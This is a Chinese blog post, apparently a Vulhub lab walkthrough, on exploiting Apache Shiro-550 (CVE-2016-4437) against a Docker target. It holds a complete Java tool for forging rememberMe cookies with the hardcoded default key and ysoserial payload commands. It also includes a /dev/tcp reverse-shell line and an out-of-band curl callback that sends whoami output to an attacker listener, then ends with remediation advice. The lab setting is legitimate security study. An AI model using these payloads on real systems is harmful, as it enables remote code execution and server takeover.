ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土

2026/8/11 4:37:46 拓冰建站 浏览量
Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土

0.前言和踩过的坑

Apache Shiro 是一个广泛使用的 Java 安全框架。2016 年披露的 CVE-2016-4437(即"Shiro-550")是其最著名的漏洞之一:Shiro 使用了一个硬编码的 AES 密钥来加密 rememberMe cookie,攻击者可以伪造 cookie 触发反序列化,最终实现远程代码执行。

本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。

嗯————,有agent的帮助确实能让你事半功倍,特别是在环境的配置和工具的安装上,能让你略过最恶心人,最耗费耐心,最没有意义的部分(实际上,他可以自己打通这个靶场,不过我不想这样,因为这样实在是学了个寂寞,看一看,学一学它在干什么,怎么做的,自己去输入一遍指令),但也不能完全相信它,它是不懂得变通的,或者说变通的能力是有限度的,它帮我踩过的坑包括但不限于:

0.1 JVM版本问题

JDK 21 运行 ysoserial 时会Invalid or corrupt jarfile必须使用JDK8才行,然后他给出的方案是在docker里面下载JDK8,然后每次使用的时候都要打开docker,后来我觉得这样太麻烦了,就在kali里面下载JDK8了

java -jar ysoserial-all.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin

而它写了一个脚本,其核心是这样的

docker run --rm -v "D:\桌面\靶场:/work" eclipse-temurin:8-jre java -jar /work/ysoserial-all.jar CommonsCollections5 "touch /tmp/pwned"

解决方案:在kali里面下一个JDK8,要用时就直接指定版本

0.2 Windows与Linux的不适配问题

没错,我一开始是在本机(win)上尝试攻击docker的,结果发现很多指令都会发生错误,原生命令的 payload 是二进制,直接打印 stdout。在 bash 里> payload.bin没问题,但PowerShell 的>是文本重定向——它会把字节流按文本解码再编码,二进制全被破坏这就是为什么不能在win里写java -jar ... > payload.bin这种东西

所以它选择写脚本用 .NET 的Process启动 docker,然后把 stdout 的原始字节流直接抄进文件:

第 30 行: File.Create 建文件

第 32 行: StandardOutput.BaseStream.CopyTo(fs) ← 字节流直抄,不经文本层

看脚本,调环境,试命令,实在是不要太折磨,就这样最终还是打通了,这里我就略过了,终于知道为什么都是在Linux上搞了,之后换成kali后就顺畅多了

0.3 编译后的 class 在 JDK 8 上跑不了

UnsupportedClassVersionError: PayloadGen has been compiled by a more recent version (class file version 65.0), this version only recognizes up to 52.0

原因: JDK 21 默认编译出的 class 版本号是 65.0,JDK 8 只认 52.0。

解决: javac --release 8,显式指定目标版本。

0.4:反弹 shell 失败——/dev/tcp 不可用

bash -i >& /dev/tcp/192.168.153.128/9999 0>&1
# 在 Docker 精简容器中无响应

原因: 很多 Docker 镜像(如 vulhub)用的 bash 编译时没启用 --enable-net-redirections,/dev/tcp 伪文件不存在。

说人话就是这个靶场不具备真实的开bash的能力,不支持反弹shell这种高级功能

0.5:ysoserial-all.jar GitHub 下载极慢

在主机上下载本身是很快的,但在kali里面不知道为什么那么慢

90MB 的 jar 从 GitHub 下载可能卡几十分钟。

两种绕过方案:

瘦方案: 只下载 562KB 的 commons-collections-3.2.1.jar + 手写 80 行 PayloadGen.java
快方案: 从主机浏览器下载 → 拖入共享文件夹 /mnt/hgfs/

1.环境准备

靶场: vulhub/shiro/CVE-2016-4437(Docker)
攻击机: Kali Linux 2025.4
核心工具: JDK 8 + ysoserial + 自写 ShiroEnc + nc

组件版本 / 来源用途
JDK 8 JRETemurin 8u422运行 ysoserial(JDK 9+ 反射限制会导致 gadget 链失败)
JDK 21 javacKali 自带编译加密工具(标准 API,任意版本均可)
ysoserial-all.jarv0.0.6,57MB生成 CC5 反序列化 payload
ShiroEnc.java自写,约 60 行AES/CBC 加密 + IV 拼装 + Base64 输出 rememberMe cookie
nc系统自带带外回显 / 反弹 shell 监听

2.基本原理与核心代码审计

要不先简单介绍一下shiro是什么吧

Apache Shiro 简单介绍

Apache Shiro 是一款 Java 语言的轻量级开源安全权限框架,相比笨重的 Spring Security,它上手简单、依赖少,经常集成在 SpringBoot Web 项目里,负责应用的身份认证、授权、会话管理、密码加密等安全能力。

核心四大功能

  1. 认证(Authentication):登录校验,判断你是谁,核对账号密码。

  2. 授权(Authorization):权限控制,判断你能干什么,角色、接口访问控制。

  3. 会话管理(Session):用户会话,支持非 Web 环境使用 SessionrememberMe(记住我)就是会话持久化功能,关闭浏览器再次访问不用重新登录,信息保存在客户端 Cookie。

  4. 密码加密(Cryptography):提供哈希、AES 加密工具,用于密码存储、Cookie 数据加密。

为什么会爆出 Shiro‑550(RememberMe 反序列化漏洞 CVE‑2016‑4437)

这也是安全测试最常接触的漏洞 Shiro 的 remember‑me 功能逻辑: 用户勾选记住我登录成功后,服务端把用户身份对象序列化 → AES‑CBC 加密 → Base64 编码,放到 Cookie 的rememberMe字段返回浏览器。

用户下次访问,服务端流程: 读取 Cookie rememberMe 值 → Base64 解码 → AES 解密 →ObjectInputStream直接反序列化得到对象

漏洞根源:如果攻击者拿到(或者暴力破解)Shiro 的 AES 密钥,就可以本地构造恶意序列化 Gadget,加密后伪造 rememberMe Cookie。服务端解密之后直接反序列化,触发恶意代码,实现远程命令执行。

关键点:漏洞不是 AES 加密算法本身有问题,是可控反序列化;密钥泄露 / 弱密钥是利用的前提。

和 SpringSecurity 的简单区分

  • Shiro:轻量,配置简单,老项目大量使用,自带 rememberMe 逻辑,历史上出名的反序列化漏洞。

  • SpringSecurity:Spring 生态原生,功能强大厚重,默认没有 rememberMe 自定义加密逻辑,很少出现这类组件反序列化漏洞。

核心代码审计

这是当年漏洞的核心代码

// 解密逻辑:前16字节当做IV,后面是密文 private byte[] doFinal(byte[] ciphertext, byte[] key, boolean encrypt) { // 漏洞特征:IV直接从密文头部截取,攻击者可控IV byte[] iv = new byte[16]; System.arraycopy(ciphertext, 0, iv, 0, 16); IvParameterSpec ivSpec = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKeySpec secretKey = new SecretKeySpec(key, "AES"); cipher.init(encrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secretKey, ivSpec); // 去掉前16字节IV,解密后面内容 byte[] realCipherText = Arrays.copyOfRange(ciphertext,16,ciphertext.length); return cipher.doFinal(realCipherText); }

先对传过来的cookie rememberMe值进行解密,这个加密和解密过程我不是很感兴趣,只是大概略过,知道里面的密钥是写死的(最核心),前面有一个随机部分IV攻击者可控,而任何人只要知道了这个密钥就能对你进行攻击,而你的密钥又是shiro里面写死的任何人只要去看了shiro源代码就能知道你这个密钥,而上面也说了,shiro是开源的

// 源码里直接写死的常量 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

解密完后交给解析cookie rememberMe值的函数deserialize()

// 获取cookie rememberMe值,解密得到字节数组 protected SerializedCollection deserialize(byte[] serialized) { byte[] decrypted = decrypt(serialized); // 关键危险点:直接把字节流交给 ObjectInputStream 反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(decrypted); ObjectInputStream ois = new ObjectInputStream(bais); return (SerializedCollection) ois.readObject(); }

可以看到,这个解析cookie rememberMe值的函数deserialize直接rememberMe的值把字节流交给ObjectInputStream,从而触发反序列化漏洞

而根据当年的源码,AI给我生成了这样一段加密恶意payload的代码

import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.nio.file.Files; import java.nio.file.Paths; import java.security.SecureRandom; import java.util.Base64; /** * ShiroEnc — 将 ysoserial 生成的裸序列化 payload 包装成 Shiro rememberMe cookie * 用法: java ShiroEnc <payload.bin> <aesKeyBase64> <output.txt> * 格式: [IV(16字节)][AES/CBC/PKCS5Padding密文] → Base64 * (Shiro 1.2.4 JcaCipherService.decrypt: 前16字节为IV,其余为密文) */ public class ShiroEnc { public static void main(String[] args) throws Exception { if (args.length < 3) { System.out.println("用法: java ShiroEnc <payload.bin> <aesKeyBase64> <output.txt>"); return; } byte[] payload = Files.readAllBytes(Paths.get(args[0])); byte[] key = Base64.getDecoder().decode(args[1]); byte[] iv = new byte[16]; new SecureRandom().nextBytes(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv)); byte[] enc = cipher.doFinal(payload); // Shiro 1.2.4 格式: [IV(16)][ciphertext],无长度头 byte[] out = new byte[iv.length + enc.length]; System.arraycopy(iv, 0, out, 0, iv.length); System.arraycopy(enc, 0, out, iv.length, enc.length); String cookie = Base64.getEncoder().encodeToString(out); Files.write(Paths.get(args[2]), cookie.getBytes()); System.out.println("[+] cookie 已写入: " + args[2] + " (" + cookie.length() + " chars)"); } }

说人话就是他需要你传入三个参数,生成payload的位置,密钥key="kPH+bIxk5D2deZiIxcaaaA==",还有文件保存在哪,然后就可以生成cookie了

3.攻击流程

我本来是想搞反弹shell的,结果这玩意太低级了,不支持这个功能,只能求其次了

3.1 进行指纹检验

先确认是 Shiro,再谈打

┌──(root㉿kali)-[/home/kali/Desktop] └─# curl -i "http://192.168.153.1:8080/login" -H "Cookie: rememberMe=1" | grep -i "deleteMe" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2608 0 2608 0 0 283355 0 --:--:-- --:--:-- --:--:-- 289777 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sun, 09-Aug-2026 11:56:42 GMT ┌──(root㉿kali)-[/home/kali/Desktop] └─# /opt/jdk8/bin/java -jar ysoserial-all.jar URLDNS "http://$(date +%s).your.dnslog.cn" > dns.bin java ShiroEnc dns.bin "kPH+bIxk5D2deZiIxcaaaA==" dns-cookie.txt curl -s "http://192.168.153.1:8080/login" -H "Cookie: rememberMe=$(cat dns-cookie.txt)" # 去 dnslog 平台看有没有解析记录 → 有 = 密钥对 + 能反序列化,再上 CC5

3.2 用 ysoserial 生成序列化 payload

/opt/jdk8/bin/java -jar ysoserial-all.jar \ CommonsCollections5 \ 'bash -c "curl http://192.168.153.128:8888/$(whoami)"' \ > oob.bin

3.3 记得先编译一下ShiroEnc.java成.class

javac /home/kali/Desktop/ShiroEnc.java -d /home/kali/Desktop/ && echo "[OK]" && ls -l /home/kali/Desktop/ShiroEnc.class [OK] -rw-rw-r-- 1 root root 2455 Aug 10 07:22 /home/kali/Desktop/ShiroEnc.class

3.4 加密成 rememberMe cookie

java ShiroEnc oob.bin "kPH+bIxk5D2deZiIxcaaaA==" cookie.txt

3.5 发送攻击 + 带外回显

窗口 1(监听):

nc -lvnp 8888

窗口 2(攻击):

curl -i "http://192.168.153.1:8080/login" \
-H "Cookie: rememberMe=$(cat cookie.txt)"


3.6 结果分析

# nc 窗口收到:

connect to [192.168.153.128] from [192.168.153.1] 63713 GET /root HTTP/1.1 ← $(whoami) 展开为 root User-Agent: curl/7.38.0 Host: 192.168.153.128:8888

命令执行成功,靶机以 root 身份运行。

4. 修复方案


4.1 升级 Shiro

Shiro 1.2.5+ 将密钥改为随机生成,不再硬编码。最低要求升级到 1.7.0+。
4.2 更换密钥

如果无法升级,在 shiro.ini 中自定义密钥:

securityManager.rememberMeManager.cipherKey = <你自己的 Base64 密钥>

生成新密钥:

openssl rand -base64 16

4.3 启用反序列化白名单(Shiro 1.7+)

securityManager.rememberMeManager.serializer = org.apache.shiro.io.DefaultSerializer

替换为自定义 Serializer,对反序列化的类做白名单校验。


4.4 纵深防御

WAF 层检测异常大的 rememberMe cookie(正常仅几十字节,攻击 payload 通常 2000+ 字符)
网络层限制容器出站连接(阻断 curl 带外 / 反弹 shell)
容器以非 root 用户运行(USER nobody)